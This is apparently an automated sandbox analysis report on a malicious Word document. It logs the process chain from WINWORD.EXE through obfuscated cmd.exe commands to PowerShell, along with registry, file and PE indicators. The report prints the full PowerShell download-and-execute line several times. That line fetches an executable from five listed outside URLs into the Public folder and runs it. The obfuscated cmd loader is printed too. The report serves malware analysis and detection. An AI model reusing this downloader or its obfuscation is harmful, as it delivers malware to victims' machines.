Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........"..........................\.R..@..X.R..fT..........."v..R.`.1.....M..M........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.9.,. . . .1.!. ..@..X.R..fT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........"............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........"...........................".........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6.9. .G.E.Q. .8.4. .!"..........................D........".................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......'"..........................4. .!"............................1......"..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .!".............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......3"............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......9"................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......?".....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......E"..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......L"............................T...P...T.x.1.H.T...P....g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......X"..........................\.R..@..X.R..fT..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.6.,. . . .1.!. ..@..X.R..fT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......d"............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......j"..........................d".........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.6. .G.E.Q. .8.4. .p"..........................D.......j".................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......v"..........................4. .p"............................1.....j"..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .p".............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........"............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........"................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........".....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........"..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........"..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........"..........................\.R..@..X.R..fT..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .2.5.,. . . .1.!. ..@..X.R..fT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........"............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........"...........................".........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................2.5. .G.E.Q. .8.4. .."..........................D........".................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........"..........................4. .."............................1......"..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ..".............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........"............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........"................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........".....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........"..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........"..............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........"..........................\.R..@..X.R..fT..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .1.6.,. . . .1.!. ..@..X.R..fT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........#............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........#...........................#.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................1.6. .G.E.Q. .8.4. ..#..........................D........#.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........#..........................4. ..#............................1......#..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ..#.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D....... #............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......&#................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......,#.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......2#..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......9#..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......E#..........................\.R..@..X.R. yT..........."v..R.`.1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.9.,. . . .1.!. ..@..X.R. yT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......Q#............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......W#..........................Q#.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.9. .G.E.Q. .8.4. .]#..........................D.......W#.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......c#..........................4. .]#............................1.....W#..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .]#.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......o#............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.......u#................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D.......{#.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........#..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........#..............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........#..........................\.R..@..X.R. yT..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .2.6.,. . . .1.!. ..@..X.R. yT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........#............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........#...........................#.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................2.6. .G.E.Q. .8.4. ..#..........................D........#.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........#..........................4. ..#............................1......#..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ..#.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........#............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........#................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........#.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........#..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........#..............................d.1....w@.SJ..S........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D........#..........................\.R..@..X.R. yT..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D........#............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D........#...........................#.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................4.9. .G.E.Q. .8.4. ..#..........................D........#.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D........$..........................4. ..#............................1......#..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ..#.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D........$............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E........$................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D........$.....................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D........$..........................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......&$..............................d.1....w@.SJ..R........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......2$..........................\.R..@..X.R. yT..........."v..R.`.1.....F..F........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .6.1.,. . . .1.!. ..@..X.R. yT....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.......>$............................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D.......D$..........................>$.........................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................6.1. .G.E.Q. .8.4. .J$..........................D.......D$.................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D.......P$..........................4. .J$............................1.....D$..........	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. .J$.............g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.......\$............................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior

Parts of this applications are using the .NET runtime (Probably coded in C#)

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Reads ini files

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Spawns processes

Show sources

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: unknown	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 ,
Source: unknown	Process created: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
Source: unknown	Process created: C:\Windows\System32\cmd.exe CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 ,
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; '
Source: unknown	Process created: C:\Windows\System32\cmd.exe cMd.eXE
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Source: unknown	Process created: C:\Users\Public\363.exe 'C:\Users\Public\363.exe'
Source: unknown	Process created: C:\Users\Public\363.exe C:\Users\Public\363.exe
Source: unknown	Process created: C:\Windows\System32\emitwpc.exe C:\Windows\system32\emitwpc.exe
Source: unknown	Process created: C:\Windows\System32\emitwpc.exe C:\Windows\system32\emitwpc.exe
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 ,	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CmD /V:/r ' SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0, 7 , 31, 11 , 5 , 36 , 7 , 41, 0 ,	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c' eCHO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1'; '	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cMd.eXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\363.exe 'C:\Users\Public\363.exe'
Source: C:\Users\Public\363.exe	Process created: C:\Users\Public\363.exe C:\Users\Public\363.exe
Source: C:\Windows\System32\emitwpc.exe	Process created: C:\Windows\System32\emitwpc.exe C:\Windows\system32\emitwpc.exe

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\InProcServer32

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Checks if Microsoft Office is installed

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:

Binary string: mscorrc.pdb source: powershell.exe, 00000009.00000002.1418159053.03E60000.00000002.sdmp

Data Obfuscation:

Suspicious powershell command line found

Show sources

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $Y2bi='Xhj9';$Ywmz=new-object Net.WebClient;$Jl7b='http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik@http://topablaze.com/YOh_SNrprk@http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN@http://mydogmybuddy.com/ULyczwB_jTGov@http://rinolfrecruitment.com/3ee8t_II0t'.Split('@');$X6ul='Rti7';$P1ql = '363';$Vkhk='M7kr';$Lijl=$env:public+'\'+$P1ql+'.exe';foreach($I4ck in $Jl7b){try{$Ywmz.DownloadFile($I4ck, $Lijl);$F2vw='Hojc';If ((Get-Item $Lijl).length -ge 80000) {Invoke-Item $Lijl;$O41z='Rud8';break;}}catch{}}$Pj9o='Muz1';

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\Public\363.exe

Code function: 10_2_00311A36 LoadLibraryA,GetProcAddress,

10_2_00311A36

PE file contains sections with non-standard names

Show sources

Source: 363.exe.9.dr	Static PE information: section name: WET_J
Source: 363.exe.9.dr	Static PE information: section name: 43B
